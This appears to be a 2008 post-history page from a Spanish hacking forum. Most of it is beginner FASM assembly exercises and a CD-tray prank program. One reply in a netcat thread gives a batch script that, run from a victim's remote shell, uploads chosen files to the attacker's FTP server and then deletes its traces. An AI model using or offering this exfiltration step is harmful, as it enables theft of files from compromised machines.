elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 [2] 3 4
11  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 23 Abril 2008, 07:42 am
Mejor pega el source en el post  y asi se comentan dudas y eso ;) Por q es q como me los tenga q dar a mi todo el mundo me puedo aburrir a corregirlos xD

Salu2

para que no diga nadie que le fastidié los ejercicios, posteo aquí el código por petición de E0N:

Ejercicio 1:

Código
  1. include 'H:\archivos de programa\fasm\include\win32ax.inc'
  2.  
  3. .code
  4. start:
  5.  
  6. mov eax, 12  ;Puede ser cualquier valor, yo les he dado estos porque me apetecía
  7. mov ebx, 8    ;Usar esos numeros
  8. add eax, ebx
  9.  
  10. .end start
  11.  

ejercicio 2

Código
  1. include 'H:\archivos de programa\fasm\include\win32ax.inc'
  2. .data
  3. miByte db  ?
  4.  
  5. .code
  6.  
  7. start:
  8.  
  9. mov [miByte], 8
  10. mov al, 7
  11. add al, 8
  12. add al, 5
  13. add al, 2
  14. add al, 9
  15. add al, 1
  16. add al, 0
  17. add al, 3
  18. div [miByte]     ; el resultado aparecerá en AL y el resto en AH
  19.  
  20.  
  21. .end start

ejercicio 3

Código
  1. include 'H:\archivos de programa\fasm\include\win32ax.inc'
  2.  
  3. .code
  4.  
  5. start:
  6.  
  7. push 1
  8. pop eax
  9. push 2
  10. pop ebx
  11. push 3
  12. pop ecx
  13. push 4
  14. pop edx
  15. push 5
  16. pop edi
  17. push 6
  18. pop esi
  19.  
  20.  
  21. .end start

Ejercicio 4 (no se si lo tengo bien o no)

Código
  1. include 'H:\Archivos de programa\FASM\INCLUDE\WIN32AX.inc'
  2. .code
  3. start:
  4.  
  5. mov eax, 23
  6. mov ebx, 39
  7. cmp eax,ebx
  8. je iguales
  9. jne distintos
  10.  
  11. iguales:
  12.  
  13. invoke MessageBox, 0, 'eax y ebx son iguales', '', 0
  14. invoke ExitProcess, 0
  15.  
  16. distintos:
  17.  
  18. invoke MessageBox, 0, 'eax y ebx son distintos', '', 0
  19. invoke ExitProcess, 0
  20.  
  21. .end start

Ejercicio 5: (se que es así, pero no se si he elegido bien los saltos, creo que si)

Código
  1. include 'H:\archivos de programa\fasm\include\win32ax.inc'
  2.  
  3. .code
  4.  
  5. start:
  6.  
  7. mov eax, 7
  8. mov ebx, 1
  9. add eax, ebx
  10. cmp eax, 5
  11. JBE salir
  12. JG mensaje
  13.  
  14. mensaje:
  15.  
  16. invoke MessageBox, 0, 'Mayor que 5', '', 0
  17.  
  18. salir:
  19.  
  20. invoke ExitProcess, 0
  21.  
  22. .end start

Aquí podeis descargar los códigos fuente y los ejecutables compilados, lo he resubido porque vi que el código del primer ejercicio estaba en balco a la hora de postearlo:

http://www.megaupload.com/?d=Y1O3BY3K
12  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 22 Abril 2008, 22:56 pm
te dejo los ejercicios hechos por MP, no se si el 4º (el del IF) está bien, pero lo demás supongo que si
13  Seguridad Informática / Hacking / Re: Jugando con netcat en: 22 Abril 2008, 22:07 pm
Hola, mirad, yo tengo un dominio de estos de iespana, entonces, digo, desde la shell de la victima, cojo y subo los archivos que quiera, y desde mi shell luego los veo.
Pero pasa una cosa, cuando pongo en la shell de la victima:

ftp 82.196...
(me pide usuario) y se lo pongo
pero sq, ahi se queda pensando un rato, y no sale nada, sq no me puedo conectar a mi servidor para subir algo, desde una shell remota??


Por favor, contestar!!

Gracias.

usa el código siguiente, donde pone script dejalo tal cual, es un archivo que crearás y despues borrarás

Código
  1. echo usuario>>script
  2. echo pass>>script
  3. echo ascii>>script
  4. echo put [PON AQUI LA RUTA DEL ARCHIVO QUE QUIERES SUBIR]>>script
  5. echo bye>>script
  6. start ftp -s:script [aqui la direccion del servidor al que vas a subir el archivo]>nul
  7. del script
  8.  

repite el proceso por cada archivo, o añade varias lineas de echo put [archivo]>>script antes del echo bye>>script
14  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 19 Abril 2008, 16:47 pm
muchas gracias, ahora ha quedado claro, aunque debería estar puesto eso en el post principal para evitar dudas de más gente.

Saludos
15  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 19 Abril 2008, 15:46 pm
no consigo comprender en los ejemplos lo de miByte y miDWORD, no se supone que ahi van registros de la CPU? precisamente por el uso de mibyte no consigo hacer una división en ASM a la hora hacer el ejercicio de sacar la media
16  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 17 Abril 2008, 07:41 am
muchas gracias, lo estaba haciendo bien, menos porque en la  sección '.idata' no puse el

Código:
 import winmm,\
        mciSendString,'mciSendStringA'
17  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 16 Abril 2008, 23:10 pm
vale, es que habría que reestructurar el codigo casi al completo, muchas gracias, ahora lo pruebo,


funciona, pero ahora no consigo hacerlo para que haga como el beer.asm
18  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 16 Abril 2008, 20:16 pm
lo he añadido y no sale el icono (he cambiado la linea del icono para poner el nombre del icono que quiero que tenga), y con el resource hacker me aparecen las categorías de Icon y Icon Group, pero me dan un error diciendo Out of System Resources
19  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 16 Abril 2008, 17:51 pm
no me refiero a eso, aunque tambien me viene bien, gracias, me refiero al icono del ejecutable
20  Seguridad Informática / Abril negro / Re: Abril Negro 2008: Taller de ASM by E0N en: 16 Abril 2008, 17:04 pm
E0N, tengo una duda, estaba trasteando con los ejemplos que trae el FASM, y modifiqué el BEER.ASM quedando así

Código
  1. ; Beer - example of tiny (one section) Win32 program
  2.  
  3. format PE GUI 4.0
  4.  
  5. include 'H:/Archivos de Programa/FASM/include/win32a.inc'
  6.  
  7. ; no section defined - fasm will automatically create .flat section for both
  8. ; code and data, and set entry point at the beginning of this section
  9.  
  10. invoke MessageBoxA,0,_message,_caption,MB_ICONQUESTION+MB_YESNO
  11. cmp eax,IDYES
  12. jne exit
  13.  
  14. invoke mciSendString,_cmd_open,0,0,0
  15. invoke mciSendString,_cmd_eject,0,0,0
  16. invoke mciSendString,_cmd_close,0,0,0
  17. invoke MessageBoxA,0,_aburrimiento, _aburres,MB_ICONQUESTION+MB_OK
  18.  
  19. exit:
  20. invoke ExitProcess,0
  21.  
  22. _message db 'Te veo aburrido, quieres echar unas canastas?',0
  23. _caption db 'Estás aburrido',0
  24.  
  25. _cmd_open db 'open cdaudio',0
  26. _cmd_eject db 'set cdaudio door open',0
  27. _cmd_close db 'close cdaudio',0
  28.  
  29. _aburrimiento db 'Hala! Haz un Triple!',0
  30. _aburres db 'NBA',0
  31.  
  32. ; import data in the same section
  33.  
  34. data import
  35.  
  36. library kernel32,'KERNEL32.DLL',\
  37. user32,'USER32.DLL',\
  38. winmm,'WINMM.DLL'
  39.  
  40. import kernel32,\
  41. ExitProcess,'ExitProcess'
  42.  
  43. import user32,\
  44. MessageBoxA,'MessageBoxA'
  45.  
  46. import winmm,\
  47. mciSendString,'mciSendStringA'
  48.  
  49. end data
  50.  

Añadí un mensaje despues de que se abriese la bandeja del CD, mi duda es, como puedo cambiar el icono?, lo he compilado y funciona perfecto, pero no puedo cambiarlo (el código lo adjunta para mostrar como quedó y nada más, aunque solo he añadido y traducido, no he cambiado más)
Páginas: 1 [2] 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines